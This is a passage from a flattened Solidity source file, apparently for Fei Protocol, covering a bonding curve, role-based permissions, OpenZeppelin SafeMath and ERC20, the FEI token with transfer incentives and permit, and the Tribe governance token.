to); } function getTotalPCVHeld() public view override returns(uint) { return address(this).balance; } // Represents the integral solved for upper bound of P(x) = ((k+X)/(k+S))^1/2 * O. Subtracting starting point C function _getBondingCurveAmountOut(uint adjustedAmountIn) internal view override returns (uint amountOut) { uint shiftTotal = _shift(totalPurchased); // k + C uint radicand = (3 * adjustedAmountIn * _shift(scale).sqrt() / 2) + shiftTotal.threeHalfsRoot(); return radicand.twoThirdsRoot() - shiftTotal; // result - (k + C) } function _getBondingCurvePriceMultiplier() internal view override returns(Decimal.D256 memory) { return Decimal.ratio(_shift(totalPurchased).sqrt(), _shift(scale).sqrt()); } function _allocateSingle(uint amount, address pcvDeposit) internal override { IPCVDeposit(pcvDeposit).deposit{value : amount}(amount); } function _shift(uint x) internal view returns(uint) { return SHIFT + x; } } // File contracts/fei-protocol/core/Permissions.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title IPermissions implementation /// @author Fei Protocol contract Permissions is IPermissions, AccessControl { bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PCV_CONTROLLER_ROLE = keccak256("PCV_CONTROLLER_ROLE"); bytes32 public constant GOVERN_ROLE = keccak256("GOVERN_ROLE"); bytes32 public constant REVOKE_ROLE = keccak256("REVOKE_ROLE"); constructor() public { _setupGovernor(address(this)); _setRoleAdmin(MINTER_ROLE, GOVERN_ROLE); _setRoleAdmin(BURNER_ROLE, GOVERN_ROLE); _setRoleAdmin(PCV_CONTROLLER_ROLE, GOVERN_ROLE); _setRoleAdmin(GOVERN_ROLE, GOVERN_ROLE); _setRoleAdmin(REVOKE_ROLE, GOVERN_ROLE); } modifier onlyGovernor() { require(isGovernor(msg.sender), "Permissions: Caller is not a governor"); _; } modifier onlyRevoker() { require(isRevoker(msg.sender), "Permissions: Caller is not a revoker"); _; } function createRole(bytes32 role, bytes32 adminRole) external override onlyGovernor { _setRoleAdmin(role, adminRole); } function grantMinter(address minter) external override onlyGovernor { grantRole(MINTER_ROLE, minter); } function grantBurner(address burner) external override onlyGovernor { grantRole(BURNER_ROLE, burner); } function grantPCVController(address pcvController) external override onlyGovernor { grantRole(PCV_CONTROLLER_ROLE, pcvController); } function grantGovernor(address governor) external override onlyGovernor { grantRole(GOVERN_ROLE, governor); } function grantRevoker(address revoker) external override onlyGovernor { grantRole(REVOKE_ROLE, revoker); } function revokeMinter(address minter) external override onlyGovernor { revokeRole(MINTER_ROLE, minter); } function revokeBurner(address burner) external override onlyGovernor { revokeRole(BURNER_ROLE, burner); } function revokePCVController(address pcvController) external override onlyGovernor { revokeRole(PCV_CONTROLLER_ROLE, pcvController); } function revokeGovernor(address governor) external override onlyGovernor { revokeRole(GOVERN_ROLE, governor); } function revokeRevoker(address revoker) external override onlyGovernor { revokeRole(REVOKE_ROLE, revoker); } function revokeOverride(bytes32 role, address account) external override onlyRevoker { this.revokeRole(role, account); } function isMinter(address _address) external override view returns (bool) { return hasRole(MINTER_ROLE, _address); } function isBurner(address _address) external override view returns (bool) { return hasRole(BURNER_ROLE, _address); } function isPCVController(address _address) external override view returns (bool) { return hasRole(PCV_CONTROLLER_ROLE, _address); } // only virtual for testing mock override function isGovernor(address _address) public override view virtual returns (bool) { return hasRole(GOVERN_ROLE, _address); } function isRevoker(address _address) public override view returns (bool) { return hasRole(REVOKE_ROLE, _address); } function _setupGovernor(address governor) internal { _setupRole(GOVERN_ROLE, governor); } } // File @openzeppelin/contracts/math/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/token/ERC20/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File @openzeppelin/contracts/token/ERC20/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // File contracts/fei-protocol/token/IIncentive.sol pragma solidity ^0.6.2; /// @title incentive contract interface /// @author Fei Protocol /// @notice Called by FEI token contract when transferring with an incentivized address /// @dev should be appointed as a Minter or Burner as needed interface IIncentive { // ----------- Fei only state changing api ----------- /// @notice apply incentives on transfer /// @param sender the sender address of the FEI /// @param receiver the receiver address of the FEI /// @param operator the operator (msg.sender) of the transfer /// @param amount the amount of FEI transferred function incentivize( address sender, address receiver, address operator, uint amount ) external; } // File contracts/fei-protocol/token/Fei.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title IFei implementation /// @author Fei Protocol contract Fei is IFei, ERC20, ERC20Burnable, CoreRef { mapping (address => address) public override incentiveContract; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; /// @notice Fei token constructor /// @param core Fei Core address to reference constructor(address core) public ERC20("Fei USD", "FEI") CoreRef(core) { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name())), keccak256(bytes('1')), chainId, address(this) ) ); } function setIncentiveContract(address account, address incentive) external override onlyGovernor { incentiveContract[account] = incentive; emit IncentiveContractUpdate(account, incentive); } function mint(address account, uint amount) external override onlyMinter { _mint(account, amount); emit Minting(account, msg.sender, amount); } function burn(uint amount) public override(IFei, ERC20Burnable) { super.burn(amount); emit Burning(msg.sender, msg.sender, amount); } function burnFrom(address account, uint amount) public override(IFei, ERC20Burnable) onlyBurner { _burn(account, amount); emit Burning(account, msg.sender, amount); } function _beforeTokenTransfer(address from, address to, uint amount) internal override { // If not minting or burning if (from != address(0) && to != address(0)) { _checkAndApplyIncentives(from, to, amount); } } function _checkAndApplyIncentives(address sender, address recipient, uint amount) internal { // incentive on sender address senderIncentive = incentiveContract[sender]; if (senderIncentive != address(0)) { IIncentive(senderIncentive).incentivize(sender, recipient, msg.sender, amount); } // incentive on recipient address recipientIncentive = incentiveContract[recipient]; if (recipientIncentive != address(0)) { IIncentive(recipientIncentive).incentivize(sender, recipient, msg.sender, amount); } // incentive on operator address operatorIncentive = incentiveContract[msg.sender]; if (msg.sender != sender && msg.sender != recipient && operatorIncentive != address(0)) { IIncentive(operatorIncentive).incentivize(sender, recipient, msg.sender, amount); } // all incentive address allIncentive = incentiveContract[address(0)]; if (allIncentive != address(0)) { IIncentive(allIncentive).incentivize(sender, recipient, msg.sender, amount); } } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'Fei: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'Fei: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File contracts/fei-protocol/dao/Tribe.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; // Forked from Tribeswap's UNI // Reference: https://etherscan.io/address/0x1f9840a85d5af5bf1d1762f925bdaddc4201f984#code contract Tribe { /// @notice EIP-20 token name for this token // solhint-disable-next-line const-name-snakecase string public constant name = "Tribe"; /// @notice EIP-20 token symbol for this token // solhint-disable-next-line const-name-snakecase string public constant symbol = "TRIBE"; /// @notice EIP-20 token decimals for this token // solhint-disable-next-line const-name-snakecase uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation // solhint-disable-next-line const-name-snakecase uint public totalSupply = 1_000_000_000e18; // 1 billion Tribe /// @notice Address which may mint new tokens address public minter; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Tribe token * @param account The initial account to grant all the tokens * @param minter_ The account with minting ability */ constructor(address account, address minter_) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); } /** * @notice Change the minter address * @param minter_ The address of the new minter */ function setMinter(address minter_) external { require(msg.sender == minter, "Tribe::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } /** * @notice Mint new tokens * @param dst The address of the destination account * @param rawAmount The number of tokens to be minted */ function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "Tribe::mint: only the minter can mint"); require(dst != address(0), "Tribe::mint: cannot transfer to the zero address"); // mint the amount uint96 amount = safe96(rawAmount, "Tribe::mint: amount exceeds 96 bits"); uint96 safeSupply = safe96(totalSupply, "Tribe::mint: totalSupply exceeds 96 bits"); totalSupply = add96(safeSupply, amount, "Tribe::mint: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "Tribe::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Tribe::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Tribe::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Tribe::permit: invalid signature"); require(signatory == owner, "Tribe::permit: unauthorized"); require(now <= deadline, "Tribe::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Tribe::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Tribe::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Tribe::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Tribe::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Tribe::delegateBySig: invalid nonce"); // solhint-disable-next-line not-rely-on-time require(now <= expiry, "Tribe::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Tribe::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Tribe::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Tribe::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Tribe::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Tribe::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Tribe::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Tribe::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Tribe::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, 